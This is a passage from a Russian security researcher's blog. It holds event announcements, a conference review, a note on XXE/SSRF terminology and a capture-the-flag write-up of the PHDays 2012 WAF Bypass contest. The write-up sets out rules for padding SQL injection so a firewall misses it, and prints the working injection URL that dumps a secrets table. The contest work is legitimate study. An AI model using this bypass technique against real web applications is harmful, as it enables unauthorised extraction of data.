[Константин Безносов @ МГУ] Вопросы безопасности и конфиденциальности в современных социальных сетях

Приглашаем всех желающих посетить лекцию Константина Безносова из Университета Британской Колумбии по теме «Security and Privacy in Online Social Networks», которая состоится на факультете ВМК МГУ 25 июня в 12:00.

Аннотация. Каждый месяц Фейсбуком пользуются больше людей чем жителей любой страны мира, за исключением Китая и Индии. Более того, эти пользователи проводят там порядка получаса каждый день, просматривая чужие или обновляя свои статусы, или просто «тусясь». Поэтому не удивительно, что социальные сети привлекают огромное внимание широкой и разносортной публики. К примеру, в 2011 активисты «Арабской весны» использовали социальные сети как средство коммуникаций, а в 2012 году американский президент Обама во время перевыборных собрал $690 миллионов через социальные сети. Не обошли стороной социальные сети и разного рода организации (коммерческие и правовые), которые, законно и не очень «проталкивают» свои услуги и товары, или собирают информацию по интересующих им пользователям. Такое множество заинтересованных лиц остро ставит интригующий и спорный вопрос безопасности и конфиденциальности в современных социальных сетях. В данной лекции будет проведён обзор международных исследований по этому вопросу, опубликованных за последние 5 лет. Материал лекции предназначен для широкой аудитории. Лекция будет на английском языке, вопросы и ответы могут быть на русском.

О лекторе:
Konstantin Beznosov, Associate Professor in Laboratory for Education and Research in Secure Systems Engineering, Department of Electrical and Computer Engineering, University of British Columbia

Био: http://konstantin.beznosov.net/professional/bio

Как обычно, для прохода в МГУ понадобится пропуск МГУ, либо можно пройти по паспорту, прислав предварительно мне (petandr на gmail.com) или Денису Гамаюнову (gamajun на cs.msu.su) полные фамилию, имя и отчество.

Наука, инновации, статический анализ и РусКрипто 2013

В этом году на горячо любимой мной конференции РусКрипто впервые за ее историю состоится отдельная секция по анализу кода — «Анализ кода и технологии защиты: динамический и статистический анализ, виртуализация кода, исследование на недекларированные возможности».

Судя по аннотациям докладов, ожидаются как выступления с научными результатами, так и с передачей опыта или суммы знаний по конкретным задачам предметной области (мои любимые типы докладов).

А вот и расширенная аннотация моего доклада. Тег «Далее»

PHDays Young School 2013

Аналитическое мышление лучше отсутствия мышления наличием мышления. Еще великий Цицерон в первом веке до нашей эры сказал «Times are bad. Children no longer obey their parents, and everyone is writing a book», что можно перевести примерно так: «Лихие времена настали: дети перестали слушаться отцов; каждый строчит статьи в Интернет». В целом же, у молодого исследователя есть выбор — либо, выражаясь сленгом автомобилистов, «не смотреть в зеркала», сделать кучу «открытий», стать Звездой списков рассылок и написать свою серию статей «Откровения», либо же провести маленькое, но полезное исследование, выбрав себе задачу, решение которой даст миру еще один шанс.

В 2012 года в рамках форума Positive Hack Days 2012 состаялась первая версия конкурса Young School. Небезынтересная статистика следует ниже.

Всего на конкурс поступило 19 заявок от резидентов следующих стран (порядок перечисления соответствует количеству заявок): Россия, Казахстан.

География заявителей по городам: Новосибирск, Санкт-Петербург, Москва, Красноярск, Таганрог, Костанай, Самара.

География заявителей по организациям: Новосибирский Государственный Университет, Московский государственный горный университет, Сибирский Государственный Аэрокосмический Университет им. М.Ф. Решетнева (СибГАУ), МИФИ, Таганрогский технологический институт Южного Федерального Университета, МГУ имени М.В.Ломоносова, Костанайский государственный университет имени Ахмета Байтурсынова, Самарский государственный аэрокосмический университет имени академика С.П. Королёв, Департамент информационных технологий ФГУП «ЦНИИ ЭИСУ» Министерства обороны РФ Москва, СПИИРАН.

Направления исследований, по которым пришли заявки:
— борьба с почтовым спамом;
— криптография;
— моделирование;
— обнаружение атак;
— поиск уязвимостей и анализ защищенности;
— управление информационной безопасностью;
— обратная инженерия в задачах информационной безопасности.

В финал вышли 4 работы в конкурсной сетке и 4 интересные работы вне конкурса. Эти работы были представлены непосредственно на форуме. Кроме того, один из членов программного комитета, Павел Ласков из Дармштадского Технического Университета (Германия), выступил с результатами своего исследования по обнаружению вредоносных PDF-документов.

Победителями были признаны две работы (если кому интересно ознакомиться с этими работами, пишите — пришлю):
— работа Дарьи Кавчук (Таганрогский технологический институт ЮФУ) на тему «Метод оптимизации автоматической проверки уязвимостей удаленных информационных систем»;
— и работа Анастасии Щербининой (факультет ВМК МГУ) на тему «Обнаружение полиморфного шелл-кода на основе подобия».

Теперь коротко об удачах и неудачах (куда без них) первой версии.

Неудачи: неразбериха с объявлением победителей и вручением призов на церемонии закрытия форума; переносы сроков публикаций тезисов.

Удачи:
— высокое качество исcледований, представленных на форуме;
— успешное решение логистических и финансовых вопросов по доставке заявителей, их научных руководителей и рецензентов в Москву и на форум (это полностью заслуга Positive Technologies, которые сработали отлично);
— принятие ВСЕХ восьми отобранных работ к публикации в ВАКовском журнале «БИТ» (было повторное рецензирование ред. коллегией); это значит, что программный комитет также сработал на отлично; по словам редакции, тезисы будут опубликованы в первом номере 2013 года.

И вот теперь 2013 год и вторая серия конкурса Young School. Постараемся устранить все неудачи прошлого года, а также расширить и углубить прошлогодний список бонусов и плюшек.

Еще не поздно прислать нам заявку! Большая просьба к уважаемым читателям распространить данное приглашение к конкурсу среди заинтересованных лиц. Большое человеческое спасибо!

p.s. Ходят слухи, что как и во всех академических CFP, дедлайн подачи заявок в самый последний момент отодвинут на две недели…

ZeroNights 2012

Запишу-ка я свои мысли по поводу конференций вообще и ZN в частности. Вдруг, кому-то будет полезно или даже интересно )

О позициях оценивания (не претендуя на полноту).
На вскидку вижу следующие основные стороны: организаторы конференции и потребители конференции. Потребителей давайте поделим на слушателей, докладчиков и спонсоров.

К.О. намекает, что критерии оценки успешности конференции у каждой категории будут свои. Например, организаторы хотят максимизировать количество спонсоров и слушателей (которых тоже две категории — «те, кто за свой счет» и «те, кто договорился на работе»). Один из способов максимизировать количество слушателей — сформировать годную программу конференции. На лицо почти замкнутый круг: спонсоры хотят большую аудиторию, большая аудитория хочет хорошую программу, а хорошие докладчики хотят статусную конференцию.

Коль скоро я в том году был в категории слушателей («те, кто за свой счет»), а в этом — в категории докладчиков, надеюсь, что мои оценки будут восприняты с правильной долей скепсиса, хехе.

Город проведения.
As for me, конференция — это какое-никакое, но приключение. Для меня важно не только содержание программы, но и то, что называется околоконфа — город, место проведения в городе, вечеринки и прочие тусы. Это все вместе формирует впечатление и общее чувство удовлетворенности от потраченного времени.

Можно подумать, что у автора этих строк на первом месте стоят тусовки, но нет. Как отличная туса с плохой программой вызывает вопрос «а чем это отличается от простой поездки на week-end в город … (you name it)?», так и отличная программа с унылой околоконфой вызывает вопрос «а не съездить ли мне в следующий раз в какой-нить Амстердам?» (я про HITB, ага).

Вот на ZN с околоконфой было все очень хорошо (не идеально, как, например, на Confidence, которую я считаю эталонной). Все хорошо, кроме города. Уверен, со мной согласятся большинство докладчиков из Москвы, что мы бы с бОльшим удовольствием съездили бы в Питер, чем остались тут.

А есть еще нерепрезентативная выборка из моих знакомых — слушателей класса «те, кто за свой счет» — они солидарны в отношении к конференции как к приключению и тоже за Питер.

От организаторов есть инфа, что они точно уверены в том, что конференцию надо проводить в Москве и только в Москве. Хочется услышать их аргументацию. Особенно о том, что ключевым фактором успеха этого года был именно перезд, а не успешный первый раз + качество программы.

Программа.
Тут все очень ок — все (все!) доклады, на которые я сходил, меня не разочаровали (был не только на своем докладе, ага).

Единственно, я был бы рад, если бы расписанию сделали shift на 2 часа в сторону дня. Побочным эффектом отличной программы была прекрасная компания на спикер пати. Тут организаторы тоже молодцом.

Атмосфэра.
Окрещу-ка я бытовые события на конференции емкой фразой из известного анекдота «один сломал, другой потерял». События, перечисленные ниже, мной воспринимались исключительно с улыбкой и здоровым троллингом:
— (сломал) куча непонятных беспроводных сетей, которые делают каждое подключение ноутбука в Интернет похожим на прогулку с айфоном ночью по хорошо известному району на юге Москвы;
— (потерял) переодически отваливающаяся мобильная связь у МТС;
— (сломал) мортал комбат с применением fatality, ярко демонстрирующий актуальность физической безопасности в нашем суровом мире;
— (потерял) второе на обедах, которое вроде бы и есть (все вокруг его едят!), но как получить его — фиг знает;
— (сломал) хакнутая дверь в мужском туалете под конец второго дня (видимо, wifi точек доступа и базовых станций не хватило);
— (потерял) кофе, который всегда был под рукой, когда не надо, и отсутствующий в самые важные моменты!
В общем, весело было :)

«Вилки нашлись, а осадок остался» (с)
1. В 18:30 второго дня был выключен MK несмотря на все просьбы дать сыграть хотя бы одну партию; это может выглядеть как персональная обида, но, ребят, это же портит впечатление, когда в час X сворачивают приставки, кофе и «закрывают туалеты» (условно). Мое твердое убеждение, что так нигде и никогда не должно быть.

2. Не знаю, насколько это реально сделать, что на массовых мероприятиях, опять же, по моему твердому убеждению, должны быть не только сервисы по расписанию, но и on-demand (за кеш) — тоже. Захотел попить кофе или съесть бутерброд в неустановленное время — велкам, только деньги плати.

Заключительное слово.
ZN, конечно, надо оценивать не как экземпляр вне времени и пространства, а как вторую серию после успешной первой. Вторая серия получилось видимо лучше. И это главное.

Хочу выразить глубочайшее почтение всем тем, кто трудился над созданием этого предприятия, я понимаю, насколько это сложно. Представляется, что вы должны гордиться тем, что получилось :)

Другие отзывы:
http://c3ret.wordpress.com/2012/11/22/zeronights-2012/
http://scii.ru/_shr/2012/11/zeronights-2012/
http://oxod.ru/?p=369
http://kyprizel.livejournal.com/349877.html
http://www.itsec.pro/2012/11/0days-0nights-1.html и http://www.itsec.pro/2012/11/0days-0nights-2.html
http://amatrosov.blogspot.ru/2012/11/zeronights2012.html
http://www.agarri.fr/kom/archives/2012/11/26/zeronights_2012_opinions_and_links/index.html

Презентация нашего выступления:

Термины, XXE, SSRF и все-все-все

Написать пост меня сподвиг вот этот диалог, приключившийся в твиттере третьего дня.

Преамбула: в терминологии и в классификациях в нашей области полная разруха.

Во-первых, почти все называют уязвимости по названиям атак (см. SQLi/XSS). A side note: кстати, если вы не читали пост Владимира Кочеткова про XSS, вы просто обязаны это сделать!.

Во-вторых, умудряются классифицировать недостатки по типам атак, которые, в свою очередь, определяют вперемешку то по цели воздействия, то по способу воздействия. Пример классификации, которую я видел лично: есть класс «DoS» (цель), следом идет класс «Input Validation» (причина) и рядом же — класс «Parameter Tampering» (способ). Как будто не может быть недостатка, связанного с некорректной обработкой входных данных, благодаря которому можно устроить DoS, но только через «Parameter Tampering». Пример — DROP всего через SQLi через HPP в значении hidden-поля.

Амбула: препарируем SSRF :)

SSRF = Server-Side Request Forgery. Кто-то, возможно, посчитает, что термин классический. Лично для меня он прост и понятен — его уже который год вокруг употребляют то Владимир Воронцов [тыц], то Александр Поляков [тыц].
С другой стороны, если погуглить «Server-Side Request Forgery», окажется, что упоминаний термина не очень-то и много. Кроме того, «пацаны, оказывается, не в курсе»: один исследователь известную всем нам идею обозвал собственноручно придуманным именем — XSPA, а Дж. Гроссман вообще подумал про свое-другое

Так вот, с моей точки зрения, XXE — это, конечно, свойство приложения. Свойство заключается в том, что парсер приложения небезопасно разрешает XML-сущности, определенные клиентом. Обычно каждый недостаток можно использовать в различных целях и различными способами: отличный пример тот же SQLi в целях считывания базы и в целях обхода аутентификации в форме логина.
Так вот, XXE — enabling свойство для таких действий удаленного клиента, как чтение локальных файлов или запрос сетевого ресурса по URI. Как не всякий недостаток является уязвимостью, так же и не всякая новая возможность дополнительных действий удаленного пользователя в отношении веб-приложения является атакой.

На мой взгляд, в правильно сконфигурированной системе возможность делать сетевые запросы по URI через XXE не должна давать удаленному пользователю дополнительные бонусы. Правильно сконфигурированная система — это система, в которой выполняется принцип ограниченности потенциального ущерба (и, как следствие, принцип наименьших привилегий). В такой системе будут запрещены лишние сетевые соединения с сервера приложений к другим узлам в DMZ, а необходимые соединения будут устанавливаться только после взаимной аутентификации и авторизации сторон. Мне представляется, что в такой системе SSRF — всего лишь недокументированная фича приложения, не позволяющая сделать ничего нового.

Соответственно, если принцип ограниченности потенциального ущерба не выполняется, то можно говорить о том, что с помощью SSRF мы злоупотребляем отношением доверия между внутренними сервисами. И тогда эта техника уже является слагаемым известного класса атак под названием Exploitation of Trust. И тогда еще одной причиной атаки можно называть небезопасную конфигурацию или даже кривой проект взаимодействия систем! Как вам такая софистика?

Метки:

Безопасность веб-приложений: starter edition

В минувший четверг в рамках инициативы проведения вебинаров RISSPA провел первую часть обучающего вебинара по безопасности веб-приложений.
Материалы (видео, презентация, ролик по использованию Browser Exploitation Framework) доступны на сайте RISSPA.

Буду рад выслушать от профи хинты по методике введения в безопасность веб-приложений. Вот уже 4 года пытаюсь найти что-то оптимальное — пока остановился вот на таком подходе. Ну и пожелания по темам следующей части можно также оставить здесь.

Для удобства подключу их и сюда.

Трансляция:

Презентация:

 

Ролик по использованию Browser Exploitation Framework (смотреть в HD):

Прохождение конкурса WAF Bypass на PHD’2012

Одним из конкурсов на форуме PHD 2012 был WAF Bypass, который организовала компания ONsec.

Суть конкурса достаточно проста. Дано веб-приложение, принимающее один-единственный параметр. Обработка параметра на стороне веб-приложения осуществляется без должной фильтрации, а сам параметр используется в SQL-запросе. Да-да, наличие недостатка «Возможность внедрения операторов языка SQL» никто не скрывает. Приложение защищено WAF’ом.
Требуется получить данные из таблицы с заданным именем.

Стоит отметить, что задание можно было выполнять с различными backend-СУБД: MySQL и PostgreSQL.

О конкурсе мы с Георгием Носеевичем узнали в конце первого дня форума, добравшись по домам. Одновременно же узнали о выходе предпоследней серии Game of Thrones, которая была немедленно скачана, спасибо LostFilm, и поставлена для просмотра. Достаточно забавно, но мы штурмовали WAF примерно столько же и примерно с такой же композиционной структурой, как и войска Станиса Баратеона — Королевскую Гавань. Только с противоположным исходом :)

Итак, для начала мы должны были понять, чем руководствуется WAF при принятии решений о блокировке/пропуске запросов к приложению. Ключевые слова SQL (UNION, LIMIT, SUBSTRING и пр.) по отдельности и в обычном тексте не фильтровались. Логично: иначе бы на форум, защищенный таким WAF’ом, нельзя было отправить пост про ограничения в Советстком Союзе!
Для знаков пунктуации (точка, запятая, скобки, кавычки) наблюдалось немного другое поведение: в тексте — ок, отдельно — не ок. Дальнейшее исследование данного поведения привело нас к предположению о том, что решение о вредоносности запроса нелинейно зависит от относительной плотности знаков пунктуации. Так, запрос со значением abc.a.bc блокировался, а запрос со значением abc.aaaaaaaaaaaaaaaaaaaaaaa.bc — уже нет.

Далее мы выдвинули рабочую гипотезу о том, что произвольный SQL-запрос можно преобразовать к виду, в котором между любыми двумя соседними знаками пунктуации будет произвольное число обычных знаков, а семантика запроса сохранится прежней.

Гипотеза была отправлена в работу. Смотрели для СУБД postgresql. Итак, вот правила преобразований, которые мы сформулировали:

1. Любое логическое выражение может быть преобразовано к эквивалентному путем добавления произвольного количества конъюнкций с истиной: expr and true.

2. Любое число N может быть представлено в виде case when true then N else 0 end.

3. Любая строка ‘secret’ может быть преобразована к виду substr(case when true then ‘secretsecretsecret’ else null end, 1, 6).

4. Любой вложенный вызов функций f1(f2()) может быть преобразован к виду f1(case when true then f2() else null end).

5. Правила надо применять к целевому SQL-запросу рекурсивно — сначала 4-ое правило для вложенных функций, потом 3-ье правило для строк, потом до тех пор, пока WAF срабатывает, применять правила для преобразования чисел и логических выражений.

Далее Георгий Носеевич реализовал этот алгоритм на Питоне, и мы применили его к базовому SQL-запросу, который мог бы проэксплуатировать уязвимость в отсутствие WAF’а:

http://waf.phdays.com/postgres.php?l=a’||cast(cast(table_to_xml(‘public.secrets’,true,true,login) as text) as integer)—

в результате отработки алгоритма получили вот такой вот вектор:

http://waf.phdays.com/postgres.php?l=a’||cast(case when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then cast(case when true and true and true and true and true and true then table_to_xml(case when true then ‘public.secrets’ else login end,true and true, true and true,case when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then login else login end) when true and true and true and true and true and true and true and true and true and true then null end as text) when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then null end as integer)—

и долгожданный флаг — 4e84a5534f3433a6f8277629de58d9bd.

Большое спасибо Владимиру Воронцову за интересный конкурс, в котором мы с большим удовольствием смогли использовать научный подход :)

Сам Владимир написал про идею решения этого конкурса у себя в блоге (да, там, конечно, в квантиллион раз проще, чем у нас!).

И, конечно, отдельное спасибо за призы от организаторов. Даешь новых конкурсов по WAF bypass!